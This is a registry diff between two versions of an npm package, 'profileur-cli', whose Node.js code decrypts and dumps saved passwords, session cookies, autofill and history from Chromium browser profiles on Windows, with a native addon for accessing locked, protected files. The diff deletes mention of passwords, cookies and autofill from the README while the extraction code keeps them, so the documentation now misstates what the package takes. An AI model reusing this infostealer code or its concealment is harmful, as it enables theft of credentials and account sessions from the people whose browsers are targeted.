profileur-cli 2.0.1 → 2.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -8,10 +8,7 @@ Low-level Windows helper to export browser profile data (cookies, saved logins,
8
8
 
9
9
  - **Targets**: Any Chromium-based browser where you know the profile directory (Chrome, Edge, Brave, custom Chromium builds, etc.).
10
10
  - **Data exported**:
11
- - Cookies (in Netscape HTTP Cookie File format)
12
- - Saved logins (URLs, usernames, decrypted passwords)
13
11
  - Browsing history
14
- - Autofill records
15
12
  - **Architecture**:
16
13
  - Node.js wrapper script (`extractor_cli.js`)
17
14
  - Native C++ addon (`chrome_elevator.node`) doing the low-level work (process interaction, locked-file copying, access to protected profile data).
@@ -73,19 +70,6 @@ main({
73
70
  path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome', 'User Data'),
74
71
  name: 'Google Chrome'
75
72
  },
76
- 'chrome-beta': {
77
- path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome Beta', 'User Data'),
78
- name: 'Google Chrome Beta'
79
- },
80
- edge: {
81
- path: path.join(process.env.LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data'),
82
- name: 'Microsoft Edge'
83
- },
84
- brave: {
85
- path: path.join(process.env.LOCALAPPDATA, 'BraveSoftware', 'Brave-Browser', 'User Data'),
86
- name: 'Brave Browser'
87
- }
88
- }
89
73
  });
90
74
  ```
91
75
 
@@ -126,10 +110,7 @@ Extract Cookies, Passwords, History, and Autofill from Chromium-based browsers (
126
110
 
127
111
  - **Browsers**: Works with any Chromium-based profile folder you configure (Chrome, Edge, Brave, custom builds, etc.).
128
112
  - **Data types**:
129
- - Cookies (exported in Netscape HTTP Cookie File format)
130
- - Saved passwords
131
113
  - Browsing history
132
- - Autofill data
133
114
  - **Configurable**: The library does **not** hard-code browser paths; you provide them when calling the module.
134
115
 
135
116
  ---
@@ -186,20 +167,7 @@ main({
186
167
  chrome: {
187
168
  path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome', 'User Data'),
188
169
  name: 'Google Chrome'
189
- },
190
- 'chrome-beta': {
191
- path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome Beta', 'User Data'),
192
- name: 'Google Chrome Beta'
193
- },
194
- edge: {
195
- path: path.join(process.env.LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data'),
196
- name: 'Microsoft Edge'
197
- },
198
- brave: {
199
- path: path.join(process.env.LOCALAPPDATA, 'BraveSoftware', 'Brave-Browser', 'User Data'),
200
- name: 'Brave Browser'
201
170
  }
202
- }
203
171
  });
204
172
  ```
205
173
 
package/extractor_cli.js CHANGED
@@ -251,13 +251,13 @@ function extractHistory(profilePath, outputDir) {
251
251
  const rows = stmt.all();
252
252
 
253
253
  const outFile = path.join(outputDir, 'history.txt');
254
- const stream = fs.createWriteStream(outFile, { flags: 'w' });
255
-
254
+ let buffer = '';
255
+
256
256
  for (const row of rows) {
257
- stream.write(`URL: ${row.url}\nTitle: ${row.title}\nVisits: ${row.visit_count}\nLast Visit: ${row.last_visit_time}\n--------------------------\n`);
257
+ buffer += `URL: ${row.url}\nTitle: ${row.title}\nVisits: ${row.visit_count}\nLast Visit: ${row.last_visit_time}\n--------------------------\n`;
258
258
  }
259
-
260
- stream.end();
259
+
260
+ fs.writeFileSync(outFile, buffer, 'utf8');
261
261
  db.close();
262
262
  log(` [V] Extracted ${rows.length} history items.`);
263
263
  } catch (err) {
@@ -283,13 +283,13 @@ function extractAutofill(profilePath, outputDir) {
283
283
  const rows = stmt.all();
284
284
 
285
285
  const outFile = path.join(outputDir, 'autofill.txt');
286
- const stream = fs.createWriteStream(outFile, { flags: 'w' });
287
-
286
+ let buffer = '';
287
+
288
288
  for (const row of rows) {
289
- stream.write(`Name: ${row.name}\nValue: ${row.value}\nDate: ${row.date_created}\n--------------------------\n`);
289
+ buffer += `Name: ${row.name}\nValue: ${row.value}\nDate: ${row.date_created}\n--------------------------\n`;
290
290
  }
291
-
292
- stream.end();
291
+
292
+ fs.writeFileSync(outFile, buffer, 'utf8');
293
293
  db.close();
294
294
  log(` [V] Extracted ${rows.length} autofill items.`);
295
295
  } catch (err) {
@@ -315,20 +315,20 @@ function extractPasswords(profilePath, outputDir, key) {
315
315
  const rows = stmt.all();
316
316
 
317
317
  const outFile = path.join(outputDir, 'passwords.txt');
318
- const stream = fs.createWriteStream(outFile, { flags: 'w' });
318
+ let buffer = '';
319
319
  let count = 0;
320
320
 
321
321
  for (const row of rows) {
322
322
  if (row.password_value) {
323
323
  const decryptedPass = decryptData(row.password_value, key);
324
324
  if (decryptedPass) {
325
- stream.write(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${decryptedPass}\n--------------------------\n`);
325
+ buffer += `URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${decryptedPass}\n--------------------------\n`;
326
326
  count++;
327
327
  }
328
328
  }
329
329
  }
330
330
 
331
- stream.end();
331
+ fs.writeFileSync(outFile, buffer, 'utf8');
332
332
  db.close();
333
333
  log(` [V] Extracted ${count} passwords.`);
334
334
  } catch (err) {
@@ -448,10 +448,10 @@ function main(options = {}) {
448
448
 
449
449
  let decryptedCount = 0;
450
450
  const outputFile = path.join(outputDir, 'cookies.txt');
451
- const stream = fs.createWriteStream(outputFile, { flags: 'w' });
451
+ let buffer = '';
452
452
 
453
- stream.write("# Netscape HTTP Cookie File\n");
454
- stream.write("# This file was generated by Chrome ABE Decryptor\n\n");
453
+ buffer += "# Netscape HTTP Cookie File\n";
454
+ buffer += "# This file was generated by Chrome ABE Decryptor\n\n";
455
455
 
456
456
  for (const cookie of cookies) {
457
457
  if (cookie.encrypted_value) {
@@ -459,13 +459,13 @@ function main(options = {}) {
459
459
  if (decryptedValue) {
460
460
  cookie.decryptedValue = decryptedValue;
461
461
  const netscapeLine = toNetscape(cookie);
462
- stream.write(netscapeLine + "\n");
462
+ buffer += netscapeLine + "\n";
463
463
  decryptedCount++;
464
464
  }
465
465
  }
466
466
  }
467
467
 
468
- stream.end();
468
+ fs.writeFileSync(outputFile, buffer, 'utf8');
469
469
  db.close();
470
470
  log(` [V] Extracted ${decryptedCount} cookies.`);
471
471
  } catch (err) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "profileur-cli",
3
- "version": "2.0.1",
3
+ "version": "2.0.4",
4
4
  "description": "Export cookies, saved logins, history, and autofill data from Chromium-based browser profiles on Windows using a native helper.",
5
5
  "main": "extractor_cli.js",
6
6
  "bin": {